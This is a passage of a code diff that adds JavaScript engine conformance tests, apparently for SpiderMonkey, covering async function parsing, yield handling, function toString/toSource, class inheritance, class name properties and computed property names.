+ assertEq(Reflect.parse("async function a() { await 2 + 3; }")
+ .body[0].body.body[0].expression.left.operator, "await");
+ assertEq(Reflect.parse("async function a() { await 2 + 3; }")
+ .body[0].body.body[0].expression.right.value, 3);
+
+ // blocks and other constructions
+ assertEq(Reflect.parse("{ async function a() { return 2; } }")
+ .body[0].body[0].async, true);
+
+ // Async function expression is primary expression.
+ Reflect.parse("(async function a() {}.constructor)");
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/async-functions/toSource.js b/js/src/tests/non262/async-functions/toSource.js
new file mode 100644
index 0000000000..3cd2943aec
--- /dev/null
+++ b/js/src/tests/non262/async-functions/toSource.js
@@ -0,0 +1,26 @@
+// |reftest| skip-if(!Function.prototype.toSource)
+
+var BUGNUMBER = 1335025;
+var summary = "(non-standard) async function toSource";
+
+print(BUGNUMBER + ": " + summary);
+
+async function f1(a, b, c) { await a; }
+
+assertEq(f1.toSource(),
+ "async function f1(a, b, c) { await a; }");
+
+assertEq(async function (a, b, c) { await a; }.toSource(),
+ "(async function (a, b, c) { await a; })");
+
+assertEq((async (a, b, c) => await a).toSource(),
+ "async (a, b, c) => await a");
+
+assertEq((async (a, b, c) => { await a; }).toSource(),
+ "async (a, b, c) => { await a; }");
+
+assertEq({ async foo(a, b, c) { await a; } }.foo.toSource(),
+ "async foo(a, b, c) { await a; }");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/async-functions/toString.js b/js/src/tests/non262/async-functions/toString.js
new file mode 100644
index 0000000000..a4ecd7b653
--- /dev/null
+++ b/js/src/tests/non262/async-functions/toString.js
@@ -0,0 +1,24 @@
+var BUGNUMBER = 1185106;
+var summary = "async function toString";
+
+print(BUGNUMBER + ": " + summary);
+
+async function f1(a, b, c) { await a; }
+
+assertEq(f1.toString(),
+ "async function f1(a, b, c) { await a; }");
+
+assertEq(async function (a, b, c) { await a; }.toString(),
+ "async function (a, b, c) { await a; }");
+
+assertEq((async (a, b, c) => await a).toString(),
+ "async (a, b, c) => await a");
+
+assertEq((async (a, b, c) => { await a; }).toString(),
+ "async (a, b, c) => { await a; }");
+
+assertEq({ async foo(a, b, c) { await a; } }.foo.toString(),
+ "async foo(a, b, c) { await a; }");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/async-functions/yield.js b/js/src/tests/non262/async-functions/yield.js
new file mode 100644
index 0000000000..1d5b836a33
--- /dev/null
+++ b/js/src/tests/non262/async-functions/yield.js
@@ -0,0 +1,71 @@
+var BUGNUMBER = 1185106;
+var summary = "yield handling in async function";
+
+print(BUGNUMBER + ": " + summary);
+
+function testPassArgsBody(argsbody) {
+ Reflect.parse(`async function a${argsbody}`);
+ Reflect.parse(`(async function a${argsbody})`);
+ Reflect.parse(`(async function ${argsbody})`);
+ Reflect.parse(`({ async m${argsbody} })`);
+}
+
+function testErrorArgsBody(argsbody, prefix="") {
+ assertThrowsInstanceOf(() => Reflect.parse(`${prefix} async function a${argsbody}`), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse(`${prefix} (async function a${argsbody})`), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse(`${prefix} (async function ${argsbody})`), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse(`${prefix} ({ async m${argsbody} })`), SyntaxError);
+}
+
+function testErrorArgsBodyStrict(argsbody) {
+ testErrorArgsBody(argsbody);
+ testErrorArgsBody(argsbody, "'use strict'; ");
+ assertThrowsInstanceOf(() => Reflect.parse(`class X { async m${argsbody} }`), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse(`class X { static async m${argsbody} }`), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse(`export default async function ${argsbody}`, { target: "module" }), SyntaxError);
+}
+
+if (typeof Reflect !== "undefined" && Reflect.parse) {
+ // `yield` handling is inherited in async function declaration name.
+ Reflect.parse("async function yield() {}");
+ Reflect.parse("function f() { async function yield() {} }");
+ assertThrowsInstanceOf(() => Reflect.parse("function* g() { async function yield() {} }"), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse("'use strict'; async function yield() {}"), SyntaxError);
+
+ // `yield` is treated as an identifier in an async function expression name.
+ // `yield` is not allowed as an identifier in strict code.
+ Reflect.parse("(async function yield() {});");
+ Reflect.parse("function f() { (async function yield() {}); }");
+ Reflect.parse("function* g() { (async function yield() {}); }");
+ assertThrowsInstanceOf(() => Reflect.parse("'use strict'; (async function yield() {});"), SyntaxError);
+
+ // `yield` handling is inherited in async method name.
+ Reflect.parse("({ async yield() {} });");
+ Reflect.parse("function f() { ({ async yield() {} }); }");
+ Reflect.parse("function* g() { ({ async yield() {} }); }");
+ Reflect.parse("'use strict'; ({ async yield() {} });");
+ Reflect.parse("class X { async yield() {} }");
+
+ Reflect.parse("({ async [yield]() {} });");
+ Reflect.parse("function f() { ({ async [yield]() {} }); }");
+ Reflect.parse("function* g() { ({ async [yield]() {} }); }");
+ assertThrowsInstanceOf(() => Reflect.parse("'use strict'; ({ async [yield]() {} });"), SyntaxError);
+ assertThrowsInstanceOf(() => Reflect.parse("class X { async [yield]() {} }"), SyntaxError);
+
+ // `yield` is treated as an identifier in an async function parameter
+ // `yield` is not allowed as an identifier in strict code.
+ testPassArgsBody("(yield) {}");
+ testPassArgsBody("(yield = 1) {}");
+ testPassArgsBody("(a = yield) {}");
+ testErrorArgsBodyStrict("(yield 3) {}");
+ testErrorArgsBodyStrict("(a = yield 3) {}");
+
+ // `yield` is treated as an identifier in an async function body
+ // `yield` is not allowed as an identifier in strict code.
+ testPassArgsBody("() { yield; }");
+ testPassArgsBody("() { yield = 1; }");
+ testErrorArgsBodyStrict("() { yield 3; }");
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/browser.js b/js/src/tests/non262/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/browser.js
diff --git a/js/src/tests/non262/class/boundFunctionSubclassing.js b/js/src/tests/non262/class/boundFunctionSubclassing.js
new file mode 100644
index 0000000000..be9058bb9e
--- /dev/null
+++ b/js/src/tests/non262/class/boundFunctionSubclassing.js
@@ -0,0 +1,37 @@
+class func extends Function { }
+let inst = new func("x", "return this.bar + x");
+
+// First, ensure that we get sane prototype chains for the bound instance
+let bound = inst.bind({bar: 3}, 4);
+assertEq(bound instanceof func, true);
+assertEq(bound(), 7);
+
+// Check the corner case for Function.prototype.bind where the function has
+// a null [[Prototype]]
+Object.setPrototypeOf(inst, null);
+bound = Function.prototype.bind.call(inst, {bar:1}, 3);
+assertEq(Object.getPrototypeOf(bound), null);
+assertEq(bound(), 4);
+
+// Check that we actually pass the proper new.target when calling super()
+function toBind() { }
+
+var boundArgs = [];
+for (let i = 0; i < 5; i++) {
+ boundArgs.push(i);
+ let bound = toBind.bind(undefined, ...boundArgs);
+
+ // We have to wire it up by hand to allow us to use a bound function
+ // as a superclass, but it's doable.
+ bound.prototype = {};
+ class test extends bound { };
+ let passedArgs = [];
+ for (let j = 0; j < 15; j++) {
+ passedArgs.push(j);
+ assertEq(Object.getPrototypeOf(new test(...passedArgs)), test.prototype);
+ }
+}
+
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/browser.js b/js/src/tests/non262/class/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/class/browser.js
diff --git a/js/src/tests/non262/class/bytecodePatternMatching.js b/js/src/tests/non262/class/bytecodePatternMatching.js
new file mode 100644
index 0000000000..446184f805
--- /dev/null
+++ b/js/src/tests/non262/class/bytecodePatternMatching.js
@@ -0,0 +1,29 @@
+// Constructors can't be called so we can't pattern match
+// them in replace and sort.
+function a() {
+ var b = {a: "A"};
+
+ class X {
+ constructor(a) {
+ return b[a]
+ }
+ };
+
+ assertThrowsInstanceOf(() => "a".replace(/a/, X), TypeError);
+}
+
+function b() {
+ class X {
+ constructor(x, y) {
+ return x - y;
+ }
+ }
+
+ assertThrowsInstanceOf(() => [1, 2, 3].sort(X), TypeError);
+}
+
+a();
+b();
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "OK");
diff --git a/js/src/tests/non262/class/classConstructorNoCall.js b/js/src/tests/non262/class/classConstructorNoCall.js
new file mode 100644
index 0000000000..f59f87b9c5
--- /dev/null
+++ b/js/src/tests/non262/class/classConstructorNoCall.js
@@ -0,0 +1,21 @@
+// Class constructors don't have a [[Call]]
+class Foo {
+ constructor() { }
+}
+
+assertThrowsInstanceOf(Foo, TypeError);
+
+class Bar extends Foo {
+ constructor() { }
+}
+
+assertThrowsInstanceOf(Bar, TypeError);
+
+assertThrowsInstanceOf(class { constructor() { } }, TypeError);
+assertThrowsInstanceOf(class extends Foo { constructor() { } }, TypeError);
+
+assertThrowsInstanceOf(class foo { constructor() { } }, TypeError);
+assertThrowsInstanceOf(class foo extends Foo { constructor() { } }, TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/classHeritage.js b/js/src/tests/non262/class/classHeritage.js
new file mode 100644
index 0000000000..478c23fc21
--- /dev/null
+++ b/js/src/tests/non262/class/classHeritage.js
@@ -0,0 +1,97 @@
+// It's an error to have a non-constructor as your heritage
+assertThrowsInstanceOf(() => eval(`class a extends Math.sin {
+ constructor() { }
+ }`), TypeError);
+assertThrowsInstanceOf(() => eval(`(class a extends Math.sin {
+ constructor() { }
+ })`), TypeError);
+
+// Unless it's null, in which case it works like a normal class, except that
+// the prototype object does not inherit from Object.prototype.
+class basic {
+ constructor() { }
+}
+class nullExtends extends null {
+ constructor() { }
+}
+var nullExtendsExpr = class extends null { constructor() { } };
+
+assertEq(Object.getPrototypeOf(basic), Function.prototype);
+assertEq(Object.getPrototypeOf(basic.prototype), Object.prototype);
+
+for (let extension of [nullExtends, nullExtendsExpr]) {
+ assertEq(Object.getPrototypeOf(extension), Function.prototype);
+ assertEq(Object.getPrototypeOf(extension.prototype), null);
+}
+
+var baseMethodCalled;
+var staticMethodCalled;
+var overrideCalled;
+class base {
+ constructor() { };
+ method() { baseMethodCalled = true; }
+ static staticMethod() { staticMethodCalled = true; }
+ override() { overrideCalled = "base" }
+}
+class derived extends base {
+ constructor() { super(); };
+ override() { overrideCalled = "derived"; }
+}
+var derivedExpr = class extends base {
+ constructor() { super(); };
+ override() { overrideCalled = "derived"; }
+};
+
+// Make sure we get the right object layouts.
+for (let extension of [derived, derivedExpr]) {
+ baseMethodCalled = false;
+ staticMethodCalled = false;
+ overrideCalled = "";
+ // Make sure we get the right object layouts.
+ assertEq(Object.getPrototypeOf(extension), base);
+ assertEq(Object.getPrototypeOf(extension.prototype), base.prototype);
+
+ // We do inherit the methods, right?
+ (new extension()).method();
+ assertEq(baseMethodCalled, true);
+
+ // But we can still override them?
+ (new extension()).override();
+ assertEq(overrideCalled, "derived");
+
+ // What about the statics?
+ extension.staticMethod();
+ assertEq(staticMethodCalled, true);
+}
+
+// Gotta extend an object, or null.
+function nope() {
+ class Foo extends "Bar" {
+ constructor() { }
+ }
+}
+function nopeExpr() {
+ (class extends "Bar" {
+ constructor() { }
+ });
+}
+assertThrowsInstanceOf(nope, TypeError);
+assertThrowsInstanceOf(nopeExpr, TypeError);
+
+// The .prototype of the extension must be an object, or null.
+nope.prototype = "not really, no";
+function stillNo() {
+ class Foo extends nope {
+ constructor() { }
+ }
+}
+function stillNoExpr() {
+ (class extends nope {
+ constructor() { }
+ });
+}
+assertThrowsInstanceOf(stillNo, TypeError);
+assertThrowsInstanceOf(stillNoExpr, TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "OK");
diff --git a/js/src/tests/non262/class/className.js b/js/src/tests/non262/class/className.js
new file mode 100644
index 0000000000..e72510e18d
--- /dev/null
+++ b/js/src/tests/non262/class/className.js
@@ -0,0 +1,248 @@
+function testName(C, name, hasValue, hasGetter, hasSetter, isFunction=false) {
+ if (isFunction) {
+ assertEq(typeof C.name, "function");
+ } else {
+ assertEq(C.name, name);
+ }
+
+ var desc = Object.getOwnPropertyDescriptor(C, "name");
+ if (!hasValue && !hasGetter && !hasSetter) {
+ assertEq(desc, undefined);
+ return;
+ }
+
+ if (hasValue) {
+ assertEq("value" in desc, true);
+ if (isFunction) {
+ assertEq(typeof desc.value, "function");
+ } else {
+ assertEq(desc.value, name);
+ }
+ // FIXME: Methods defined in classes should not be enumerable
+ // (bug 1144630).
+ // assertEq(desc.enumerable, false);
+ assertEq(desc.configurable, true);
+
+ assertEq("get" in desc, false);
+ assertEq("set" in desc, false);
+
+ return;
+ }
+
+ assertEq("value" in desc, false);
+
+ if (hasGetter) {
+ assertEq("get" in desc, true);
+ assertEq(desc.get(), name);
+ // assertEq(desc.enumerable, false);
+ assertEq(desc.configurable, true);
+ } else {
+ assertEq("get" in desc, true);
+ assertEq(desc.get, undefined);
+ // assertEq(desc.enumerable, false);
+ assertEq(desc.configurable, true);
+ }
+
+ if (hasSetter) {
+ assertEq("set" in desc, true);
+ assertEq(typeof desc.set, "function");
+ // assertEq(desc.enumerable, false);
+ assertEq(desc.configurable, true);
+ } else {
+ assertEq("set" in desc, true);
+ assertEq(desc.set, undefined);
+ // assertEq(desc.enumerable, false);
+ assertEq(desc.configurable, true);
+ }
+}
+
+// ---- declaration ---
+
+class Decl {
+ constructor() {}
+}
+testName(Decl, "Decl", true, false, false);
+
+class DeclWithFunc {
+ constructor() {}
+ static name() {}
+}
+testName(DeclWithFunc, "DeclWithFunc", true, false, false, true);
+
+class DeclWithGetter {
+ constructor() {}
+ static get name() { return "base"; }
+}
+testName(DeclWithGetter, "base", false, true, false);
+
+class DeclWithSetter {
+ constructor() {}
+ static set name(v) {}
+}
+testName(DeclWithSetter, undefined, false, false, true);
+
+class DeclWithGetterSetter {
+ constructor() {}
+ static get name() { return "base"; }
+ static set name(v) {}
+}
+testName(DeclWithGetterSetter, "base", false, true, true);
+
+function prop() {
+ return "name";
+}
+class DeclWithComputed {
+ constructor() {}
+ static get [prop()]() { return "base"; }
+}
+testName(DeclWithGetterSetter, "base", false, true, true);
+
+class ExtendedDecl1 extends Decl {
+ constructor() {}
+}
+testName(ExtendedDecl1, "ExtendedDecl1", true, false, false);
+delete ExtendedDecl1.name;
+testName(ExtendedDecl1, "Decl", false, false, false);
+
+class ExtendedDecl2 extends DeclWithGetterSetter {
+ constructor() {}
+ static get name() { return "extend"; }
+}
+testName(ExtendedDecl2, "extend", false, true, false);
+delete ExtendedDecl2.name;
+testName(ExtendedDecl2, "base", false, false, false);
+
+class ExtendedDecl3 extends DeclWithGetterSetter {
+ constructor() {}
+ static set name(v) {}
+}
+testName(ExtendedDecl3, undefined, false, false, true);
+delete ExtendedDecl3.name;
+testName(ExtendedDecl3, "base", false, false, false);
+
+// ---- expression ---
+
+let Expr = class Expr {
+ constructor() {}
+};
+testName(Expr, "Expr", true, false, false);
+
+let ExprWithGetter = class ExprWithGetter {
+ constructor() {}
+ static get name() { return "base"; }
+};
+testName(ExprWithGetter, "base", false, true, false);
+
+let ExprWithSetter = class ExprWithSetter {
+ constructor() {}
+ static set name(v) {}
+};
+testName(ExprWithSetter, undefined, false, false, true);
+
+let ExprWithGetterSetter = class ExprWithGetterSetter {
+ constructor() {}
+ static get name() { return "base"; }
+ static set name(v) {}
+};
+testName(ExprWithGetterSetter, "base", false, true, true);
+
+
+let ExtendedExpr1 = class ExtendedExpr1 extends Expr {
+ constructor() {}
+};
+testName(ExtendedExpr1, "ExtendedExpr1", true, false, false);
+delete ExtendedExpr1.name;
+testName(ExtendedExpr1, "Expr", false, false, false);
+
+let ExtendedExpr2 = class ExtendedExpr2 extends ExprWithGetterSetter {
+ constructor() {}
+ static get name() { return "extend"; }
+};
+testName(ExtendedExpr2, "extend", false, true, false);
+delete ExtendedExpr2.name;
+testName(ExtendedExpr2, "base", false, false, false);
+
+let ExtendedExpr3 = class ExtendedExpr3 extends ExprWithGetterSetter {
+ constructor() {}
+ static set name(v) {}
+};
+testName(ExtendedExpr3, undefined, false, false, true);
+delete ExtendedExpr3.name;
+testName(ExtendedExpr3, "base", false, false, false);
+
+// ---- anonymous ----
+
+// Anonymous class expressions use the empty string as the default name property.
+// Use property assignment to avoid setting name property.
+let tmp = {};
+let Anon = tmp.value = class {
+ constructor() {}
+};
+testName(Anon, "", true, false, false);
+
+let AnonDefault = tmp.value = class { };
+testName(AnonDefault, "", true, false, false);
+
+let AnonWithGetter = tmp.value = class {
+ constructor() {}
+ static get name() { return "base"; }
+};
+testName(AnonWithGetter, "base", false, true, false);
+
+let AnonWithSetter = tmp.value = class {
+ constructor() {}
+ static set name(v) {}
+};
+testName(AnonWithSetter, undefined, false, false, true);
+
+let AnonWithGetterSetter = tmp.value = class {
+ constructor() {}
+ static get name() { return "base"; }
+ static set name(v) {}
+};
+testName(AnonWithGetterSetter, "base", false, true, true);
+
+
+let ExtendedAnon1 = tmp.value = class extends Anon {
+ constructor() {}
+};
+testName(ExtendedAnon1, "", true, false, false);
+
+let ExtendedAnonDefault = tmp.value = class extends Anon { };
+testName(ExtendedAnonDefault, "", true, false, false);
+
+let ExtendedAnon2 = tmp.value = class extends AnonWithGetterSetter {
+ constructor() {}
+ static get name() { return "extend"; }
+};
+testName(ExtendedAnon2, "extend", false, true, false);
+delete ExtendedAnon2.name;
+testName(ExtendedAnon2, "base", false, false, false);
+
+let ExtendedAnon3 = tmp.value = class extends AnonWithGetterSetter {
+ constructor() {}
+ static set name(v) {}
+};
+testName(ExtendedAnon3, undefined, false, false, true);
+delete ExtendedAnon3.name;
+testName(ExtendedAnon3, "base", false, false, false);
+
+// ---- mixed ----
+
+let ExtendedExpr4 = class ExtendedExpr4 extends Anon {
+ constructor() {}
+}
+testName(ExtendedExpr4, "ExtendedExpr4", true, false, false);
+delete ExtendedExpr4.name;
+testName(ExtendedExpr4, "", false, false, false);
+
+let ExtendedExpr5 = class ExtendedExpr5 extends AnonWithGetterSetter {
+ constructor() {}
+ static get name() { return "extend"; }
+}
+testName(ExtendedExpr5, "extend", false, true, false);
+delete ExtendedExpr5.name;
+testName(ExtendedExpr5, "base", false, false, false);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "OK");
diff --git a/js/src/tests/non262/class/classPrototype.js b/js/src/tests/non262/class/classPrototype.js
new file mode 100644
index 0000000000..0d2296037c
--- /dev/null
+++ b/js/src/tests/non262/class/classPrototype.js
@@ -0,0 +1,65 @@
+// The prototype of a class is a non-writable, non-configurable, non-enumerable data property.
+class a { constructor() { } }
+let b = class { constructor() { } };
+for (let test of [a,b]) {
+ var protoDesc = Object.getOwnPropertyDescriptor(test, "prototype");
+ assertEq(protoDesc.writable, false);
+ assertEq(protoDesc.configurable, false);
+ assertEq(protoDesc.enumerable, false);
+
+ var prototype = protoDesc.value;
+ assertEq(typeof prototype, "object");
+ assertEq(Object.getPrototypeOf(prototype), Object.prototype);
+ assertEq(Object.isExtensible(prototype), true);
+
+ var desiredPrototype = {};
+ Object.defineProperty(desiredPrototype, "constructor", { writable: true,
+ configurable: true,
+ enumerable: false,
+ value: test });
+ assertDeepEq(prototype, desiredPrototype);
+}
+
+// As such, it should by a TypeError to try and overwrite "prototype" with a
+// static member. The only way to try is with a computed property name; the rest
+// are early errors.
+assertThrowsInstanceOf(() => eval(`
+ class a {
+ constructor() { };
+ static ["prototype"]() { }
+ }
+ `), TypeError);
+assertThrowsInstanceOf(() => eval(`
+ class a {
+ constructor() { };
+ static get ["prototype"]() { }
+ }
+ `), TypeError);
+assertThrowsInstanceOf(() => eval(`
+ class a {
+ constructor() { };
+ static set ["prototype"](x) { }
+ }
+ `), TypeError);
+
+assertThrowsInstanceOf(() => eval(`(
+ class a {
+ constructor() { };
+ static ["prototype"]() { }
+ }
+ )`), TypeError);
+assertThrowsInstanceOf(() => eval(`(
+ class a {
+ constructor() { };
+ static get ["prototype"]() { }
+ }
+ )`), TypeError);
+assertThrowsInstanceOf(() => eval(`(
+ class a {
+ constructor() { };
+ static set ["prototype"](x) { }
+ }
+ )`), TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "OK");
diff --git a/js/src/tests/non262/class/compPropDestr.js b/js/src/tests/non262/class/compPropDestr.js
new file mode 100644
index 0000000000..2bd8cbd49a
--- /dev/null
+++ b/js/src/tests/non262/class/compPropDestr.js
@@ -0,0 +1,11 @@
+var BUGNUMBER = 924688;
+var summary = 'Computed Property Names';
+
+print(BUGNUMBER + ": " + summary);
+
+var key = "z";
+var { [key]: foo } = { z: "bar" };
+assertEq(foo, "bar");
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/class/compPropNames.js b/js/src/tests/non262/class/compPropNames.js
new file mode 100644
index 0000000000..1c4064d8a5
--- /dev/null
+++ b/js/src/tests/non262/class/compPropNames.js
@@ -0,0 +1,243 @@
+var BUGNUMBER = 924688;
+var summary = 'Computed Property Names';
+
+print(BUGNUMBER + ": " + summary);
+
+// Function definitions.
+function syntaxError (script) {
+ try {
+ Function(script);
+ } catch (e) {
+ if (e instanceof SyntaxError) {
+ return;
+ }
+ }
+ throw new Error('Expected syntax error: ' + script);
+}
+
+
+// Tests begin.
+
+assertThrowsInstanceOf(function() { var a = {[field1]: "a", [field2]: "b"}; }, ReferenceError);
+
+assertThrowsInstanceOf(function() {
+ field1 = 1;
+ var a = {[field1]: "a", [field2]: "b"};
+ }, ReferenceError);
+
+var f1 = 1;
+var f2 = 2;
+var a = {[f1]: "a", [f2]: "b"};
+assertEq(a[1], "a");
+assertEq(a[2], "b");
+
+var a = {[f1]: "a", f2: "b"};
+assertEq(a[1], "a");
+assertEq(a.f2, "b");
+
+var a = {["f1"]: "a", [++f2]: "b"};
+assertEq(a.f1, "a");
+assertEq(a[3], "b");
+
+var a = {["f1"]: "a", f2: "b"};
+assertEq(a.f1, "a");
+assertEq(a.f2, "b");
+
+
+var i = 0;
+var a = {
+ ["foo" + ++i]: i,
+ ["foo" + ++i]: i,
+ ["foo" + ++i]: i
+};
+assertEq(a.foo1, 1);
+assertEq(a.foo2, 2);
+assertEq(a.foo3, 3);
+
+var expr = "abc";
+syntaxError("({[");
+syntaxError("({[expr");
+syntaxError("({[expr]");
+syntaxError("({[expr]})");
+syntaxError("({[expr] 0})");
+syntaxError("({[expr], 0})");
+syntaxError("[[expr]: 0]");
+syntaxError("({[expr]: name: 0})");
+syntaxError("({[1, 2]: 3})"); // because '1,2' is an Expression but not an AssignmentExpression
+syntaxError("({[1;]: 1})"); // and not an ExpressionStatement
+syntaxError("({[if (0) 0;]})"); // much less a Statement
+syntaxError("function f() { {[x]: 1} }"); // that's not even an ObjectLiteral
+syntaxError("function f() { [x]: 1 }"); // or that
+syntaxError('a = {[f1@]: "a", [f2]: "b"}'); // unexpected symbol at end of AssignmentExpression
+try { JSON.parse('{["a"]:4}'); } catch(e) {
+ if (!(e instanceof SyntaxError)) throw new Error('Expected syntax error');
+}
+
+// Property characteristics.
+a = { ["b"] : 4 };
+b = Object.getOwnPropertyDescriptor(a, "b");
+assertEq(b.configurable, true);
+assertEq(b.enumerable, true);
+assertEq(b.writable, true);
+assertEq(b.value, 4);
+
+// Setter and getter are not hit.
+Object.defineProperty(Object.prototype, "x", { set: function (x) { throw "FAIL"; },
+ get: function (x) { throw "FAIL"; } });
+var a = {["x"]: 0};
+assertEq(a.x, 0);
+
+a = {["x"]: 1, ["x"]: 2};
+assertEq(a.x, 2);
+a = {x: 1, ["x"]: 2};
+assertEq(a.x, 2);
+a = {["x"]: 1, x: 2};
+assertEq(a.x, 2);
+
+// Symbols
+var unique_sym = Symbol("1"), registered_sym = Symbol.for("2");
+a = { [unique_sym] : 2, [registered_sym] : 3 };
+assertEq(a[unique_sym], 2);
+assertEq(a[registered_sym], 3);
+
+// Same expression can be run several times to build objects with different property names.
+a = [];
+for (var i = 0; i < 3; i++) {
+ a[i] = {["foo" + i]: i};
+}
+assertEq(a[0].foo0, 0);
+assertEq(a[1].foo1, 1);
+assertEq(a[2].foo2, 2);
+
+// Following are stored in object's elements rather than slots.
+var i = 0;
+a = { [++i] : i,
+ [++i] : i,
+ [++i] : i,
+ [++i] : i,
+ [++i] : i,
+ [++i] : i,
+ [++i] : i,
+ [++i] : i
+}
+for (var i = 1; i < 9; i++)
+ assertEq(a[i], i);
+syntaxError("a.1");
+syntaxError("a.2");
+syntaxError("a.3");
+syntaxError("a.4");
+syntaxError("a.5");
+syntaxError("a.6");
+syntaxError("a.7");
+syntaxError("a.8");
+
+// Adding a single large index.
+var i = 0;
+a = { [++i] : i,
+ [++i] : i,
+ [++i] : i,
+ [++i] : i,
+ [++i] : i,
+ [++i] : i,
+ [++i] : i,
+ [++i] : i,
+ [3000] : 2999
+}
+for (var i = 1; i < 9; i++)
+ assertEq(a[i], i);
+assertEq(a[3000], 2999);
+
+// Defining several properties using eval.
+var code = "({";
+for (i = 0; i < 1000; i++)
+ code += "['foo' + " + i + "]: 'ok', "
+code += "['bar']: 'ok'});";
+var obj = eval(code);
+for (i = 0; i < 1000; i++)
+ assertEq(obj["foo" + i], "ok");
+assertEq(obj["bar"], "ok");
+
+// Can yield in a computed property name which is in a generator.
+function* g() {
+ var a = { [yield 1]: 2, [yield 2]: 3};
+ return a;
+}
+
+var it = g();
+var next = it.next();
+assertEq(next.done, false);
+assertEq(next.value, 1);
+next = it.next("hello");
+assertEq(next.done, false);
+assertEq(next.value, 2);
+next = it.next("world");
+assertEq(next.done, true);
+assertEq(next.value.hello, 2);
+assertEq(next.value.world, 3);
+
+// get and set.
+expr = "abc";
+syntaxError("({get [");
+syntaxError("({get [expr()");
+syntaxError("({get [expr]()");
+syntaxError("({get [expr]()})");
+syntaxError("({get [expr] 0 ()})");
+syntaxError("({get [expr], 0(})");
+syntaxError("[get [expr]: 0()]");
+syntaxError("({get [expr](: name: 0})");
+syntaxError("({get [1, 2](): 3})");
+syntaxError("({get [1;](): 1})");
+syntaxError("({get [if (0) 0;](){}})");
+syntaxError("({set [(a)");
+syntaxError("({set [expr(a)");
+syntaxError("({set [expr](a){}");
+syntaxError("({set [expr]}(a)");
+syntaxError("({set [expr](a), 0})");
+syntaxError("[set [expr](a): 0]");
+syntaxError("({set [expr](a): name: 0})");
+syntaxError("({set [1, 2](a) {return 3;}})");
+syntaxError("({set [1;](a) {return 1}})");
+syntaxError("({set [if (0) 0;](a){}})");
+syntaxError("function f() { {get [x](): 1} }");
+syntaxError("function f() { get [x](): 1 }");
+syntaxError("function f() { {set [x](a): 1} }");
+syntaxError("function f() { set [x](a): 1 }");
+f1 = "abc";
+syntaxError('a = {get [f1@](){}, set [f1](a){}}'); // unexpected symbol at end of AssignmentExpression
+syntaxError('a = {get@ [f1](){}, set [f1](a){}}'); // unexpected symbol after get
+syntaxError('a = {get [f1](){}, set@ [f1](a){}}'); // unexpected symbol after set
+
+expr = "hey";
+a = {get [expr]() { return 3; }, set[expr](v) { throw 2; }};
+assertEq(a.hey, 3);
+assertThrowsValue(() => { a.hey = 5; }, 2);
+
+// Symbols with duplicate get and set.
+expr = Symbol("hey");
+a = {get [expr]() { return 3; }, set[expr](v) { throw 2; },
+ set [expr] (w) { throw 4; }, get[expr](){return 5; }};
+assertEq(a[expr], 5);
+assertThrowsValue(() => { a[expr] = 7; }, 4);
+
+// expressions with side effects are called in the right order
+log = "";
+obj = {
+ "a": log += 'a',
+ get [log += 'b']() {},
+ [log += 'c']: log += 'd',
+ set [log += 'e'](a) {}
+};
+assertEq(log, "abcde");
+
+// assignment expressions, objects and regex in computed names
+obj = {
+ get [a = "hey"]() { return 1; },
+ get [a = {b : 4}.b]() { return 2; },
+ set [/x/.source](a) { throw 3; }
+}
+assertEq(obj.hey, 1);
+assertEq(obj[4], 2);
+assertThrowsValue(() => { obj.x = 7; }, 3);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/class/constructorCalled.js b/js/src/tests/non262/class/constructorCalled.js
new file mode 100644
index 0000000000..144cc08c79
--- /dev/null
+++ b/js/src/tests/non262/class/constructorCalled.js
@@ -0,0 +1,45 @@
+// The constructor specified should get called, regardless of order, or
+// other distractions
+
+var called = false;
+class a { constructor(x) { assertEq(x, 4); called = true } }
+new a(4);
+assertEq(called, true);
+
+called = false;
+var aExpr = class { constructor(x) { assertEq(x, 4); called = true } };
+new aExpr(4);
+assertEq(called, true);
+
+called = false;
+class b { constructor() { called = true } method() { } }
+new b();
+assertEq(called, true);
+
+called = false;
+var bExpr = class { constructor() { called = true } method() { } };
+new bExpr();
+assertEq(called, true);
+
+called = false;
+class c { method() { } constructor() { called = true; } }
+new c();
+assertEq(called, true);
+
+called = false;
+var cExpr = class { method() { } constructor() { called = true; } }
+new cExpr();
+assertEq(called, true);
+
+called = false;
+class d { ["constructor"]() { throw new Error("NO"); } constructor() { called = true; } }
+new d();
+assertEq(called, true);
+
+called = false;
+var dExpr = class { ["constructor"]() { throw new Error("NO"); } constructor() { called = true; } }
+new dExpr();
+assertEq(called, true);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "OK");
diff --git a/js/src/tests/non262/class/defaultConstructorBase.js b/js/src/tests/non262/class/defaultConstructorBase.js
new file mode 100644
index 0000000000..2d977935dd
--- /dev/null
+++ b/js/src/tests/non262/class/defaultConstructorBase.js
@@ -0,0 +1,18 @@
+class base {
+ method() { return 1; }
+ *gen() { return 2; }
+ static sMethod() { return 3; }
+ get answer() { return 42; }
+}
+
+// Having a default constructor should work, and also not make you lose
+// everything for no good reason
+
